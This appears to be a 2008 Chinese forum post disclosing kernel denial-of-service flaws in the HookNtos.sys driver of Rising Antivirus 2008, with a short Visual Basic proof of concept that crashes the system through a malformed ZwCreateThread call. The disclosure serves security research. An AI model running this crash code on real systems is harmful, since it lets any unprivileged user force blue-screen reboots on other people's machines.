点饭的百度空间
银牌会员
     
积分 2315
发帖 2236
注册 2007-11-30
|
#1 【iceboy】瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞
瑞星杀毒软件 2008 (以下简称瑞星) 是一款号称基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。
令人遗憾的是, 其最新版本 20.64.30 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任何权限用户在安装了瑞星杀毒软件 2008 的系统上引发蓝屏。
出问题的组件: HookNtos.sys 版本 22.0.0.50 CheckSum=0001A3C5 TimeStamp=4886D5D8
瑞星在对 SSDT HOOK 时, 存在多处参数检查不全面, 用户态传入无效地址即可导致驱动出错, 引发系统崩溃, 蓝屏重启。
示例函数: NtCreateThread
函数 NtCreateThread 的原型是:
NTSTATUS
NtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PUSER_STACK UserStack,
IN BOOLEAN CreateSuspended
)
瑞星在其 Hook 函数中, 没有任何检查地使用了 ThreadContext->Eip, 这样, 如果我们传入一个错误 ThreadContext 地址, 就会引发崩溃, 蓝屏重启.
值得注意的是, 瑞星在使用 ThreadContext->Eip 之前, 判断了 ProcessHandle 有效且不指向当前进程, 故我们需要传入一个合法的其它进程的句柄.
测试代码:
Declare Function OpenProcess Lib "kernel32" (ByVal a As Long, ByVal b As Long, ByVal c As Long) As Long
Declare Function ZwCreateThread Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long, ByVal h As Long) As Long
Sub Main()
MsgBox "瑞星杀毒软件 2008 内核漏洞演示 by iceboy"
ZwCreateThread 0, 0, 0, OpenProcess(1024, 0, Shell("notepad.exe")), 0, 0, 0, 0
End Sub
用户态任意权限的程序运行此代码后, 即可引发系统蓝屏重启
|
※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint |
 |
|